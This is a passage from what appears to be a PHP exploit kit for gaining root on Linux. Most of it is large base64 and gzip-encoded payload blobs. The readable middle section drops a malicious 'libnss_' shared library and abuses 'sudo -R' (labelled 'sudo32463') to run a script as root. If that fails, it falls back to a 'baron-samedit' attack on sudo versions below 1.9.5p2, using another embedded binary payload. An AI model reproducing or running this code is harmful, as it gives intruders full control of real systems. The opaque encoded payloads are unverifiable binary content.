G8wZZigj+h9aUgbyT41l1U3wa49u3d0xtvVdnVj8br5in+l/3Q9FRhxrKd8g1HDZ/UlcK8jWt9n78TENrd/GP3hmNtP9o1oaf5qHNdvarvNixxrk+OKw1/l8H/j8Dv3y7TDH4Bbb7iLca0SAg6/834bcvj9Dv8Kh38xSEhISEhISEhISNj4NbjqD+3YTwFt3H8+AqAdn7R87Ip27GLgQjGfbbwcAWBrvogABJtixfKDPGP2e8ZY/6mizT8Iz14t2fyD6+ynJZt/IJ79YMFma/ojAP3Bpgft9tmaQ4KdEWyx/NMum/e/7XobmznHGCsmLjHGtIloUxBg5k07vSwI0Ha1bVI7Mc9HN/shYyzYBNpE9B4+7gl/A6fNN6xl2rj/fdW+FDVsOtg0xod7AVmbiP7CMyc2/shp7bx2oqCd/3m7dv5GlaZc0r6ct5Zq4/6jWEGATdv9JD3v71j0DP81IX9/j3Ys2suT2olrVp02Hj2pAsx8O8/YTIoxdsl/XAVQnvpb69LPHmaMOeduYbYkJCQkJCQkJCQkJCQkJMojApGkkYkkE7lBUBqrtjbTu9QCYw8CQKrAGH+3aRUYexkAPiow9ha+a+VQjuwDZSSkNNYtDpxS7PfSK/l7sjnGuniB+tDO+hUPB2sPB8Zge8Pm+9avLr6W5Hpef2GOsZCjP9x/AABm5hiLCX6Lv+8qMFZ8NafVh4brA3ICJSQkJCQkJCQkJCQkPLAQD4mgOEiKZRxBrqMC+OVsCZqfYPm70aZ4y0Z3cWggPcZdrkSTvrH9Ps+yRT0GOVLsYgCDGylWcgUGU96B9knkWspHppjLGYyrpNjJg47vj+CIhVyOfMrv9l+pdvdzErlGaG+e2f0/i+UZ2nQdC2i/gfk30a76n+ad4tVFtOKExZC7kA8iUzzsrs7OLeHmnmQ+Y+XDbevV9Wpry6Z80Wx/vn2D2rpBbVuLGQBqbjBnmVYiCWoma+nqQCavDpvZYd20Rh2uZN5Ip1qMFBStQf4bhJoazeRGh2y2TDvnkG7mjGzGZcRNUE09neAFMTWctkA1MoYFPKkOZDGR0/tAtfQRC9R+I2OAamZTCSsBqj4Y7zcTQ3p8MGWWLLuOeMI0E6O2gtKp0UxiyOgDXrXdml1PMpcDtS87NKRnrP9ovmqFGGCveH4Q9hVhlaD3OkdAEM9w8OMe1xnLkp72aUHQV3u0vxXH4BP2MXEBSvtecehpf3XiXvEJ9wXik0J7imA/gnuS9LQPiZcK/fcJvB/3ONm0z4nDHv0nDGDdPuG+Qjzpcf1o/M9g3g7hPkV80KFfXkb/rPOMA9x6vqaxwvwfEvThkJu7hPLiMZ4XBf1wyM2hCvpXBP1YyM2xCvrXBT2ddyC+6aEnnBb09NwjXlLh+r2N+nZyCAdw6jzWL/G7mKb143Uux6v9jwV9R9jNr1a4f5zjP906nlcL53Rayl+vgMCfA0DQ+byj549avj1R/7VwlmLh3BXq6byVX9BRv47j+ElP5zamIre/fxJPC3r6XDGD+o4K+llBT8/RcOvtx0+YQx/pm1Hf7KEX73+/oa9V8JO+pcL6Uzw+q/Sg/s8K7f8Fpaa5wFg4AAA='); @copy($so,$ST.'/libnss_/woot1337.so.2'); @chmod($ST.'/libnss_/woot1337.so.2',0755); xrun('cd '.shq($ST).' && printf '.shq("sh ".$W."/cash.sh\nexit\n").' | sudo -R woot woot 2>&1', 75); step('sudo32463','try'); if(rooted()) exit; } if (vlt($sv,'1.9.5p2')) { out('baron-samedit','try'); $BR=$W.'/baron'; @mkdir($BR.'/libnss_X',0755,true); $hb=pl('baron','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